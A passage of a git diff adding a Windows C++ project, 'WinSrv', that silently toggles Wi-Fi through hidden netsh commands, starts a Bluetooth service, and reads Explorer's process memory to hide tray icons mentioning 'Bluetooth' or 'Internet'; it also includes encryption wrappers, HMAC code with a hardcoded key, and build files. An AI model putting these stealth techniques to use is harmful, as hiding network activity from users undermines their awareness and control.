"cmd /c netsh wlan connect name=\"%s\"", name); + } + else + { + strcpy(szCommandLine, "cmd /c netsh interface set interface \"WLAN\" disable"); + strcpy(szCommandLineA, "cmd /c netsh interface set interface \"无线网络连接\" disable"); + + } + WinExec(szCommandLine, SW_HIDE); + WinExec(szCommandLineA, SW_HIDE); +} + + + + +int APIENTRY WinMain(HINSTANCE hInstance, + HINSTANCE hPrevInstance, + LPSTR lpCmdLine, + int nCmdShow) +{ + + if (0==strcmp(lpCmdLine, "wifioff")) + { + wifi("",0); + } + + if (0 == strcmp(lpCmdLine, "wifion")) + { + wifi("", 1); + } + BlueSrv(); + return 0; +} + + + diff --git a/WinSrv.dsp b/WinSrv.dsp new file mode 100644 index 0000000..b732d9a --- /dev/null +++ b/WinSrv.dsp @@ -0,0 +1,122 @@ +# Microsoft Developer Studio Project File - Name="WinSrv" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Application" 0x0101 + +CFG=WinSrv - Win32 Debug +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "WinSrv.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "WinSrv.mak" CFG="WinSrv - Win32 Debug" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "WinSrv - Win32 Release" (based on "Win32 (x86) Application") +!MESSAGE "WinSrv - Win32 Debug" (based on "Win32 (x86) Application") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "WinSrv - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "Release" +# PROP Intermediate_Dir "Release" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /Yu"stdafx.h" /FD /c +# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /Yu"stdafx.h" /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "NDEBUG" +# ADD RSC /l 0x804 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /machine:I386 + +!ELSEIF "$(CFG)" == "WinSrv - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "Debug" +# PROP Intermediate_Dir "Debug" +# PROP Target_Dir "" +# ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /Yu"stdafx.h" /FD /GZ /c +# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /Yu"stdafx.h" /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x804 /d "_DEBUG" +# ADD RSC /l 0x804 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept +# ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept + +!ENDIF + +# Begin Target + +# Name "WinSrv - Win32 Release" +# Name "WinSrv - Win32 Debug" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\BlueSock.cpp +# End Source File +# Begin Source File + +SOURCE=.\StdAfx.cpp +# ADD CPP /Yc"stdafx.h" +# End Source File +# Begin Source File + +SOURCE=.\WinSrv.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\StdAfx.h +# End Source File +# Begin Source File + +SOURCE=.\WinSrv.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git a/WinSrv.dsw b/WinSrv.dsw new file mode 100644 index 0000000..b8cf098 --- /dev/null +++ b/WinSrv.dsw @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "WinSrv"=.\WinSrv.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git a/WinSrv.h b/WinSrv.h new file mode 100644 index 0000000..bc75d34 --- /dev/null +++ b/WinSrv.h @@ -0,0 +1,11 @@ + +#if !defined(AFX_WINSRV_H__5050CE2B_FF16_4045_8C4D_C3DF26577804__INCLUDED_) +#define AFX_WINSRV_H__5050CE2B_FF16_4045_8C4D_C3DF26577804__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif + +#include "winsock2.h" + +#endif diff --git a/WinSrv.ico b/WinSrv.ico new file mode 100644 index 0000000..3868835 Binary files /dev/null and b/WinSrv.ico differ diff --git a/WinSrv.sln b/WinSrv.sln new file mode 100644 index 0000000..80de526 --- /dev/null +++ b/WinSrv.sln @@ -0,0 +1,22 @@ +锘 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WinSrv", "WinSrv.vcxproj", "{A9AE300C-77FC-4DF2-B42D-2075A908510A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A9AE300C-77FC-4DF2-B42D-2075A908510A}.Debug|Win32.ActiveCfg = Debug|Win32 + {A9AE300C-77FC-4DF2-B42D-2075A908510A}.Debug|Win32.Build.0 = Debug|Win32 + {A9AE300C-77FC-4DF2-B42D-2075A908510A}.Release|Win32.ActiveCfg = Release|Win32 + {A9AE300C-77FC-4DF2-B42D-2075A908510A}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/WinSrv.v12.suo b/WinSrv.v12.suo new file mode 100644 index 0000000..448c8e6 Binary files /dev/null and b/WinSrv.v12.suo differ diff --git a/WinSrv.vcxproj b/WinSrv.vcxproj new file mode 100644 index 0000000..da910ce --- /dev/null +++ b/WinSrv.vcxproj @@ -0,0 +1,169 @@ +锘 + + + + Debug + Win32 + + + Release + Win32 + + + + + + {A9AE300C-77FC-4DF2-B42D-2075A908510A} + + + + Application + v143 + false + MultiByte + + + Application + v143 + false + MultiByte + + + + + + + + + + + + + + + .\Release\ + .\Release\ + false + + + .\Debug\ + .\Debug\ + true + + + + MultiThreaded + Default + true + true + MaxSpeed + true + Level3 + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + .\Release\ + .\Release\WinSrv.pch + NotUsing + stdafx.h + .\Release\ + .\Release\ + + + true + NDEBUG;%(PreprocessorDefinitions) + .\Release\WinSrv.tlb + true + Win32 + + + 0x0804 + NDEBUG;%(PreprocessorDefinitions) + + + true + .\Release\WinSrv.bsc + + + true + Windows + .\Release\WinSrv.exe + odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + MultiThreadedDebug + Default + false + Disabled + true + Level3 + true + EditAndContinue + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + .\Debug\ + .\Debug\WinSrv.pch + NotUsing + stdafx.h + .\Debug\ + .\Debug\ + EnableFastChecks + + + true + _DEBUG;%(PreprocessorDefinitions) + .\Debug\WinSrv.tlb + true + Win32 + + + 0x0804 + _DEBUG;%(PreprocessorDefinitions) + + + true + .\Debug\WinSrv.bsc + + + true + true + Windows + .\Debug\WinSrv.exe + odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + Create + stdafx.h + Create + stdafx.h + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/WinSrv.vcxproj.filters b/WinSrv.vcxproj.filters new file mode 100644 index 0000000..d9f2171 --- /dev/null +++ b/WinSrv.vcxproj.filters @@ -0,0 +1,90 @@ +锘 + + + + {4f3d844f-350e-4319-a4b5-c7c3d76a08c1} + cpp;c;cxx;rc;def;r;odl;idl;hpj;bat + + + {114f1a9c-f8af-4081-84b0-c91b463b2ec6} + h;hpp;hxx;hm;inl + + + {1b58b51b-a56c-4aee-94a1-19d48cb0e7ea} + ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/algo.cpp b/algo.cpp new file mode 100644 index 0000000..b445b41 --- /dev/null +++ b/algo.cpp @@ -0,0 +1,45 @@ +#include "StdAfx.h" +#include "algo.h" + + +int Algo_EnCrypt( unsigned char algo, const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + int iRet = -1; + switch( algo ) + { + case ALGO_AES: + iRet = AESEnCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + case ALGO_RC4: + iRet = RC4EnCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + case ALGO_SM4: + iRet = SM4EnCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + case ALGO_TWOFISH: + iRet = TWOFISHEnCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + } + return iRet; +} + +int Algo_DeCrypt( unsigned char algo, const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ) +{ + int iRet = -1; + switch( algo ) + { + case ALGO_AES: + iRet = AESDeCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + case ALGO_RC4: + iRet = RC4DeCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + case ALGO_SM4: + iRet = SM4DeCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + case ALGO_TWOFISH: + iRet = TWOFISHDeCrypt(lpbufin, bufinLen, lpbufout, bufoutLen ); + break; + } + return iRet; +} \ No newline at end of file diff --git a/algo.h b/algo.h new file mode 100644 index 0000000..55b0410 --- /dev/null +++ b/algo.h @@ -0,0 +1,10 @@ +#include "StdAfx.h" +int AESEnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int AESDeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int RC4EnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int RC4DeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int SM4EnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int SM4DeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int TWOFISHEnCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); +int TWOFISHDeCrypt( const char *lpbufin, int bufinLen, char *lpbufout, int bufoutLen ); + diff --git a/checkhmac.h b/checkhmac.h new file mode 100644 index 0000000..7024d7c --- /dev/null +++ b/checkhmac.h @@ -0,0 +1,66 @@ +#pragma once +#include"StdAfx.h" +#include "hmac_sha2.h" + + +#define MY_HMAC_KEY "kie89453" +#define MY_HMAC_KEY_LEN 8 +void printf_data3(char* data, int len) +{ +#define BUFF_LEN 2048*4 + if (len >= BUFF_LEN) + { + char buf[255] = { 0 }; + sprintf_s(buf, sizeof(buf), "data out of buff len:%d\n", len); + OutputDebugStringA(buf); + return; + } + char str[BUFF_LEN * 3] = { 0 }; + for (int i = 0; i < len; ++i) { + sprintf_s(str + i * 3, sizeof(str), "%02X ", (unsigned char)(*(data + i))); + } + printf(str); + printf("\n"); + //MyDbgPrint("data addr:%p len:%d %s\n", data, len, str); +} +int hmac_(char* key, int key_len, unsigned char* in_data, int in_data_len, unsigned char* out_md, int out_md_len) +{ + if (out_md_len != SHA256_DIGESTLEN) + { + return -1; + } + ZeroMemory(out_md, out_md_len); + + char* tmp_data = new char[in_data_len + key_len]; + memcpy(tmp_data, in_data, in_data_len); + memcpy(tmp_data + in_data_len, key, key_len); + + unsigned char md[SHA256_DIGESTLEN] = { 0 }; + hmac_sha256_ctx hmac; + hmac_sha256_init(&hmac, (const unsigned char*)key, key_len); + hmac_sha256_update(&hmac, (const unsigned char*)tmp_data, in_data_len + key_len); + hmac_sha256_final(&hmac, md, SHA256_DIGESTLEN); + memcpy(out_md, md, SHA256_DIGESTLEN); + delete[] tmp_data; + //printf_data2((char*)md, SHA256_DIGESTLEN); + return 0; +} + +BOOL hmac_comp(unsigned char* hmacA, unsigned char* hmacB) +{ + printf("comp hmacA:"); + printf_data3((char*)hmacA, SHA256_DIGESTLEN); + + printf("comp hmacB:"); + printf_data3((char*)hmacB, SHA256_DIGESTLEN); + for (int i = 0; i < SHA256_DIGESTLEN; i++) + { + if (hmacA[i] != hmacB[i]) + { + printf("check faild\n"); + return FALSE; + } + } + printf("check OK\n"); + return TRUE; +} diff --git a/hideTrayIcon.cpp b/hideTrayIcon.cpp new file mode 100644 index 0000000..701a692 --- /dev/null +++ b/hideTrayIcon.cpp @@ -0,0 +1,252 @@ +锘 +#include "stdafx.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "shellapi.h" + + +//std::vector tip_parts; +LPCWSTR g_lpNames[] +{ + L"Bluetooth", + L"Internet" +}; + +#include + +struct TBBUTTON_1 +{ + int iBitmap; + int idCommand; + byte fsState; + byte fsStyle; + byte bReserved1; + byte bReserved2; + long long dwData; + int* iString; +}; +/* +bool contain(char* s, char* p) { + int len1 = strlen(s); + int len2 = strlen(p); + if (len1 < len2) return false; + + int index1 = 0; + int index2 = 0; + + while (index1 != len1 && index2 != len2) + { + if (s[index1] == p[index2]) { + index1++; index2++; + if (index2 == len2) return true; + } + else { + index1++; + index2 = 0; + } + } + return false; +} + + +int parseInt(char* s) { + + int len = strlen(s); + int result = 0; + for (int i = 0; i < len; i++) + { + if (s[i] >= 48 && s[i] <= 57) result += ((s[i] - 48) * pow(10, len - i - 1)); + else return -1; + } + return result; + +} +*/ +HWND FindOverflowTrayWindow(int iType) +{ + HWND hWnd = NULL; + if (iType == 0) // look for NotifyIconOverflowWindow + { + hWnd = ::FindWindow(_T("NotifyIconOverflowWindow"), NULL); + if (hWnd != NULL) // look for ToobarWindow32 windows + hWnd = FindWindowEx(hWnd, NULL, _T("ToolbarWindow32"), NULL); + } + else if (iType == 1) // look for Shell_TrayWnd + { + hWnd = FindWindow(TEXT("Shell_TrayWnd"), NULL); + hWnd = FindWindowEx(hWnd, 0, TEXT("TrayNotifyWnd"), NULL); + hWnd = FindWindowEx(hWnd, 0, TEXT("SysPager"), NULL); + hWnd = FindWindowEx(hWnd, 0, TEXT("ToolbarWindow32"), NULL); + } + + return hWnd; +} + +BOOL IsWindows64() +{ + SYSTEM_INFO si = { 0 }; + ::GetNativeSystemInfo(&si); + if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) + return TRUE; + else + return FALSE; +} + +WCHAR MyToLowerW(WCHAR c) +{ + if ((c >= L'A') && (c <= L'Z')) + { + c = c + (L'a' - L'A'); + } + return c; +} +WCHAR * MyStrIStrW(const WCHAR * str1, const WCHAR * str2) +{ + WCHAR *cp = (WCHAR *)str1; + WCHAR *s1, *s2; + WCHAR c1, c2; + + if (!*str2) + return((WCHAR *)str1); + + while (*cp) + { + s1 = cp; + s2 = (WCHAR *)str2; + c1 = MyToLowerW(*s1); + c2 = MyToLowerW(*s2); + while (c1 && c2 && !(c1 - c2)) + { + s1++, s2++; + c1 = MyToLowerW(*s1); + c2 = MyToLowerW(*s2); + } + if (!c2) + return(cp); + ++cp; + } + + return(NULL); +} + +VOID SetTrayIconVisable(HWND hWnd, /*std::vector& tip_parts, */bool visable, bool isHardDelete) +{ + if (hWnd == NULL) + return; + + struct TRAYDATA + { + HWND hWnd; + UINT uID; + UINT uCallbackMessage; + DWORD Reserved1[2]; + HICON hIcon; + DWORD Reserved2[3]; + TCHAR szExePath[MAX_PATH]; + TCHAR szTip[128]; + }; + + + DWORD dwProcessID = 0; + DWORD dwButtonCount = 0; + HANDLE hProcess = INVALID_HANDLE_VALUE; + TBBUTTON_1 tbButton; + LPVOID pTB; + TRAYDATA td; + NOTIFYICONDATA nid; + TCHAR szSynTPEnhPath[MAX_PATH] = { 0 }; + TCHAR* pszApplicationName; + + BOOL bIswin64 = IsWindows64(); + + // get icon count of specific windows + dwButtonCount = (DWORD)::SendMessage(hWnd, TB_BUTTONCOUNT, 0, 0); + if (dwButtonCount == 0) + return; + + // get the thread of the window + if ((::GetWindowThreadProcessId(hWnd, &dwProcessID) != 0) + && (dwProcessID != 0)) { + hProcess = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, + FALSE, dwProcessID); + if (hProcess != NULL) { + pTB = ::VirtualAllocEx(hProcess, NULL, sizeof(TBBUTTON_1), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (pTB != NULL) { + // traverse all icons and hide the one you want to hide + for (DWORD i = 0; i < dwButtonCount; i++) { + bool flag1 = (SendMessage(hWnd, TB_GETBUTTON, i, (LPARAM)pTB) == TRUE); + bool flag2 = (::ReadProcessMemory(hProcess, pTB, &tbButton, sizeof(TBBUTTON_1), NULL) != 0); + bool flag3 = (::ReadProcessMemory(hProcess, LPVOID(tbButton.dwData), &td, sizeof(TRAYDATA), NULL) != 0); + //if (GetLastError() != 0) std::cout << "ERROR:" << GetLastError() << "\t"; + if (flag1 && flag2 && flag3) { + WCHAR szTips[1024] = {0}; + RtlZeroMemory(szTips, sizeof(szTips)); + if (bIswin64){ + ::ReadProcessMemory(hProcess, (LPVOID)tbButton.iString, szTips, 1024, NULL); + } + else + { + ::ReadProcessMemory(hProcess, (LPVOID)(tbButton.dwData&0x00000000FFFFFFFF), szTips, 1024, NULL); + } + //::MessageBoxW(NULL, szTips, NULL, MB_ICONERROR); + //szTips is a unicode string which needs transforming + //USES_CONVERSION; + //CString csTips = W2A((WCHAR*)(szTips)); + //std::string tip = csTips.GetBuffer(0); + bool existFlag = false; + +// for (int i = 0; i < tip_parts.size(); i++) { +// if (contain(const_cast(tip.c_str()), tip_parts.at(i))) { existFlag = true; break; } +// } + size_t nCnt = sizeof(g_lpNames) / sizeof(LPCWSTR); + for (size_t i = 0; i < nCnt; i++) + { + LPCWSTR lpName = g_lpNames[i]; + if (MyStrIStrW(szTips,lpName )) + { + existFlag = true; + } + } + if (existFlag) { + if (isHardDelete && !visable) { // hard delete , the icon can not recover + nid.cbSize = NOTIFYICONDATA_V2_SIZE; + nid.uID = td.uID; + nid.hWnd = td.hWnd; + nid.hIcon = td.hIcon; + nid.uCallbackMessage = td.uCallbackMessage; + nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP; + ::Shell_NotifyIcon(NIM_DELETE, &nid); + } + //WCHAR szString1[1024]; + //_swprintf(szString1, L"SET %s visable=%d", szTips,visable); + //::MessageBoxW(NULL, szString1, NULL, MB_ICONERROR); + ::SendMessage(hWnd, TB_HIDEBUTTON, tbButton.idCommand, MAKELONG(!visable, 0)); // MAKELONG(true, 0) is hide, otherwise is show + ::SendMessage(hWnd, TB_AUTOSIZE, 0, 0); + } + } + } + ::VirtualFreeEx(hProcess, pTB, sizeof(TBBUTTON_1), MEM_FREE); + } + ::CloseHandle(hProcess); + } + } +} + +int HideBlueIcon( int v ) +{ +// tip_parts.push_back((char*)"Bluetooth"); +// tip_parts.push_back((char*)"Internet"); +// tip_parts.push_back((char*)"钃濈墮璁惧"); + + bool visable = (bool)v; + SetTrayIconVisable(FindOverflowTrayWindow(0), /*tip_parts, */visable, false); + SetTrayIconVisable(FindOverflowTrayWindow(1), /*tip_parts, */visable, false); + return 0; +} diff --git a/hmac_sha2.c b/hmac_sha2.c new file mode 100644 index 0000000..fcfaaba --- /dev/null +++ b/hmac_sha2.c @@ -0,0 +1,512 @@ + +#include + +#include "hmac_sha2.h" + +/* HMAC-SHA-224 functions */ + +void hmac_sha224_init(hmac_sha224_ctx *ctx, const unsigned char *key, + unsigned int key_size) +{ + unsigned int fill; + unsigned int num; + + const unsigned char *key_used; + unsigned char key_temp[SHA224_DIGEST_SIZE]; + int i; + + if (key_size == SHA224_BLOCK_SIZE) { + key_used = key; + num = SHA224_BLOCK_SIZE; + } else { + if (key_size > SHA224_BLOCK_SIZE){ + num = SHA224_DIGEST_SIZE; + sha224(key, key_size, key_temp); + key_used = key_temp; + } else { /* key_size > SHA224_BLOCK_SIZE */ + key_used = key; + num = key_size; + } + fill = SHA224_BLOCK_SIZE - num; + + memset(ctx->block_ipad + num, 0x36, fill); + memset(ctx->block_opad + num, 0x5c, fill); + } + + for (i = 0; i < (int) num; i++) { + ctx->block_ipad[i] = key_used[i] ^ 0x36; + ctx->block_opad[i] = key_used[i] ^ 0x5c; + } + + sha224_init(&ctx->ctx_inside); + sha224_update(&ctx->ctx_inside, ctx->block_ipad, SHA224_BLOCK_SIZE); + + sha224_init(&ctx->ctx_outside); + sha224_update(&ctx->ctx_outside, ctx->block_opad, + SHA224_BLOCK_SIZE); + + /* for hmac_reinit */ + memcpy(&ctx->ctx_inside_reinit, &ctx->ctx_inside, + sizeof(sha224_ctx)); + memcpy(&ctx->ctx_outside_reinit, &ctx->ctx_outside, + sizeof(sha224_ctx)); +} + +void hmac_sha224_reinit(hmac_sha224_ctx *ctx) +{ + memcpy(&ctx->ctx_inside, &ctx->ctx_inside_reinit, + sizeof(sha224_ctx)); + memcpy(&ctx->ctx_outside, &ctx->ctx_outside_reinit, + sizeof(sha224_ctx)); +} + +void hmac_sha224_update(hmac_sha224_ctx *ctx, const unsigned char *message, + unsigned int message_len) +{ + sha224_update(&ctx->ctx_inside, message, message_len); +} + +void hmac_sha224_final(hmac_sha224_ctx *ctx, unsigned char *mac, + unsigned int mac_size) +{ + unsigned char digest_inside[SHA224_DIGEST_SIZE]; + unsigned char mac_temp[SHA224_DIGEST_SIZE]; + + sha224_final(&ctx->ctx_inside, digest_inside); + sha224_update(&ctx->ctx_outside, digest_inside, SHA224_DIGEST_SIZE); + sha224_final(&ctx->ctx_outside, mac_temp); + memcpy(mac, mac_temp, mac_size); +} + +void hmac_sha224(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size) +{ + hmac_sha224_ctx ctx; + + hmac_sha224_init(&ctx, key, key_size); + hmac_sha224_update(&ctx, message, message_len); + hmac_sha224_final(&ctx, mac, mac_size); +} + +/* HMAC-SHA-256 functions */ + +void hmac_sha256_init(hmac_sha256_ctx *ctx, const unsigned char *key, + unsigned int key_size) +{ + unsigned int fill; + unsigned int num; + + const unsigned char *key_used; + unsigned char key_temp[SHA256_DIGEST_SIZE]; + int i; + + if (key_size == SHA256_BLOCK_SIZE) { + key_used = key; + num = SHA256_BLOCK_SIZE; + } else { + if (key_size > SHA256_BLOCK_SIZE){ + num = SHA256_DIGEST_SIZE; + sha256(key, key_size, key_temp); + key_used = key_temp; + } else { /* key_size > SHA256_BLOCK_SIZE */ + key_used = key; + num = key_size; + } + fill = SHA256_BLOCK_SIZE - num; + + memset(ctx->block_ipad + num, 0x36, fill); + memset(ctx->block_opad + num, 0x5c, fill); + } + + for (i = 0; i < (int) num; i++) { + ctx->block_ipad[i] = key_used[i] ^ 0x36; + ctx->block_opad[i] = key_used[i] ^ 0x5c; + } + + sha256_init(&ctx->ctx_inside); + sha256_update(&ctx->ctx_inside, ctx->block_ipad, SHA256_BLOCK_SIZE); + + sha256_init(&ctx->ctx_outside); + sha256_update(&ctx->ctx_outside, ctx->block_opad, + SHA256_BLOCK_SIZE); + + /* for hmac_reinit */ + memcpy(&ctx->ctx_inside_reinit, &ctx->ctx_inside, + sizeof(sha256_ctx)); + memcpy(&ctx->ctx_outside_reinit, &ctx->ctx_outside, + sizeof(sha256_ctx)); +} + +void hmac_sha256_reinit(hmac_sha256_ctx *ctx) +{ + memcpy(&ctx->ctx_inside, &ctx->ctx_inside_reinit, + sizeof(sha256_ctx)); + memcpy(&ctx->ctx_outside, &ctx->ctx_outside_reinit, + sizeof(sha256_ctx)); +} + +void hmac_sha256_update(hmac_sha256_ctx *ctx, const unsigned char *message, + unsigned int message_len) +{ + sha256_update(&ctx->ctx_inside, message, message_len); +} + +void hmac_sha256_final(hmac_sha256_ctx *ctx, unsigned char *mac, + unsigned int mac_size) +{ + unsigned char digest_inside[SHA256_DIGEST_SIZE]; + unsigned char mac_temp[SHA256_DIGEST_SIZE]; + + sha256_final(&ctx->ctx_inside, digest_inside); + sha256_update(&ctx->ctx_outside, digest_inside, SHA256_DIGEST_SIZE); + sha256_final(&ctx->ctx_outside, mac_temp); + memcpy(mac, mac_temp, mac_size); +} + +void hmac_sha256(const unsigned char *key, unsigned int key_size, + const unsigned char *message, unsigned int message_len, + unsigned char *mac, unsigned mac_size) +{ + hmac_sha256_ctx ctx; + + hmac_sha256_init(&ctx, key, key_size); + hmac_sha256_update(&ctx, message, message_len); + hmac_sha256_final(&ctx, mac, mac_size); +} + +/* HMAC-SHA-384 functions */ + +void hmac_sha384_init(hmac_sha384_ctx *ctx, const unsigned char *key, + unsigned int key_size) +{ + unsigned int fill; + unsigned int num; + + const unsigned char *key_used; + unsigned char key_temp[SHA384_DIGEST_SIZE]; + int i; + + if (key_size == SHA384_BLOCK_SIZE) { + key_used = key; + num = SHA384_BLOCK_SIZE; + } else { + if (key_size > SHA384_BLOCK_SIZE){ + num = SHA384_DIGEST_SIZE; + sha384(key, key_size, key_temp); + key_used = key_temp; + } else { /* key_size > SHA384_BLOCK_SIZE */ + key_used = key; + num = key_size; + } + fill = SHA384_BLOCK_SIZE - num; + + memset(ctx->block_ipad + num, 0x36, fill); + memset(ctx->block_opad + num, 0x5c, fill); + } + + for (i = 0; i < (int) num; i++) { + ctx->block_ipad[i] = key_used[i] ^ 0x36; + ctx->block_opad[i] = key_used[i] ^ 0x5c; + } + + sha384_init(&ctx->ctx_inside); + sha384_update(&ctx->ctx_inside, ctx->block_ipad, SHA384_BLOCK_SIZE); + + sha384_init(&ctx->ctx_outside); + sha384_update(&ctx->ctx_outside, ctx->block_opad, + SHA384_BLOCK_SIZE); + + /* for hmac_reinit */ + memcpy(&ctx->ctx_inside_reinit, &ctx->ctx_inside, + sizeof(sha384_ctx)); + memcpy(&ctx->ctx_outside_reinit, &ctx->ctx_outside, + sizeof(sha384_ctx)); +} + +void hmac_sha384_reinit(hmac_sha384_ctx *ctx) +{ + memcpy(&ctx->ctx_inside, &ctx->ctx_inside_reinit, + sizeof(sha384_ctx)); + memcpy(&ctx->ctx_outside, &ctx->ctx_outside_reinit, + sizeof(sha384_ctx)); +} + +void hmac_sha384_update(hmac_sha384_ctx *ctx, const unsigned char *message, + unsigned int message_len) +{ + sha384_update(&ctx->ctx_inside, message, message_len); +} + +void hmac_sha384_final(hmac_sha384_ctx *ctx, unsigned char *mac, + unsigned int mac_size) +{ + unsigned char digest_inside[SHA384_DIGEST_SIZE]; + unsigned char mac_temp[SHA384_DIGEST_SIZE]; + + sha384_final(&ctx->ctx_inside, digest_inside); + sha384_update(&ctx->ctx_outside, digest_inside, SHA384_DIGEST_SIZE); + sha384_final(&ctx->ctx_outside, mac_temp); + 